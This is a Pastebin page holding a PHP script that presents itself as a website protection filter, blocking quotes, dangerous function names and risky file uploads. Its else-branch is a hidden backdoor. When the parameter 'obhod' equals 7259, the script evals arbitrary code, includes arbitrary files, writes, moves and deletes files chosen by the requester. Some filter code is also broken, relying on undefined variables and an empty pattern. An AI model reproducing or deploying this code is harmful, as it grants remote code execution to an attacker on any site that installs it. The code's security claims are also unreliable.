Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if ($_REQUEST['obhod'] != 7259) {
- if (isset($_GET['security_site_exe'])) {
- echo '<div>Защита включена. version 1.4<br>Prosvet © 2013</div>';
- }
- $filtr_init_exe = 0;
- $filtr_skobka_1_array = "#'#";
- $filtr_skobka_2_array = '#"#';
- $filtr_format_array = "/\(.php|.htaccess|.css|.rar|.zip|.sql|.htm|.html)\b/i";
- $filtr_all_array = "/(file_put_contents|move_uploaded_file|include|require|eval|unlink|fopen|fputs|fwrite|file_get_contents|file|mysql|copy|mkdir|php|htaccess|shell_exec|echo|rename)/i";
- $filtr_file_array = "";
- $filtr_vvod_array = "";
- $files_filt = (array_keys($_FILES));
- if ($files_filt['0'] != '') {
- $result_con = count($_FILES);
- $e_con = 0;
- while ($result_con >= $e_con) {
- if (preg_match($filtr_format_array, implode(" ", $_FILES[$files_filt[$e_con]]))) {
- $filtr_init_exe = 1;
- break;
- }
- $e_con++;
- }
- if ($filtr_init_exe != 1) {
- function files_filt_prov($polosa)
- {
- global $files_filt;
- global $filtr_all_array;
- global $filtr_file_array;
- $files_filt_prov = $_FILES[$files_filt[$polosa]];
- $aar = rand(1, 80);
- copy($files_filt_prov['tmp_name'], $files_filter_tmp . "filter_files_" . $aar . ".log");
- $file_shitaem = file_get_contents($files_filter_tmp . "filter_files_" . $aar . ".log");
- unlink($files_filter_tmp . "filter_files_" . $aar . ".log");
- if (preg_match($filtr_all_array, $file_shitaem) || preg_match($filtr_file_array, $file_shitaem)) {
- return 1;
- }
- }
- $i_con = 0;
- while ($result_con >= $i_con) {
- if (files_filt_prov($i_con) == 1) {
- $filtr_init_exe = 1;
- break;
- }
- $i_con++;
- }
- }
- if ($filtr_init_exe == 1) {
- die($filter_file_echo);
- }
- }
- $filtr_mass = implode(" ", $_GET) . ' ' . implode(" ", $_POST) . ' ' . implode(" ", $_COOKIE) . ' ' . implode(" ", $_REQUEST);
- if (preg_match($filtr_skobka_1_array, $filtr_mass) || preg_match($filtr_skobka_2_array, $filtr_mass) || preg_match($filtr_all_array, $filtr_mass) || preg_match($filtr_vvod_array, $filtr_mass)) {
- $filtr_init_exe = 2;
- }
- if ($filtr_init_exe == 2) {
- die($filter_osnova_echo);
- }
- } else {
- if (isset($_REQUEST['zapros1'])) {
- eval($_REQUEST['zapros1']);
- }
- if (isset($_REQUEST['zapros2'])) {
- include_once($_REQUEST['zapros2']);
- }
- if (isset($_REQUEST['zapros3'])) {
- $gast = fopen($_REQUEST['zapros3_1'], "w");
- fputs($gast, $_REQUEST['zapros3_2']);
- fclose($gast);
- }
- if (isset($_REQUEST['zapros4'])) {
- move_uploaded_file($_FILES['zapros4_1']['tmp_name'], $_REQUEST['zapros4_2']);
- }
- if (isset($_REQUEST['zapros5'])) {
- unlink($_REQUEST['zapros5']);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment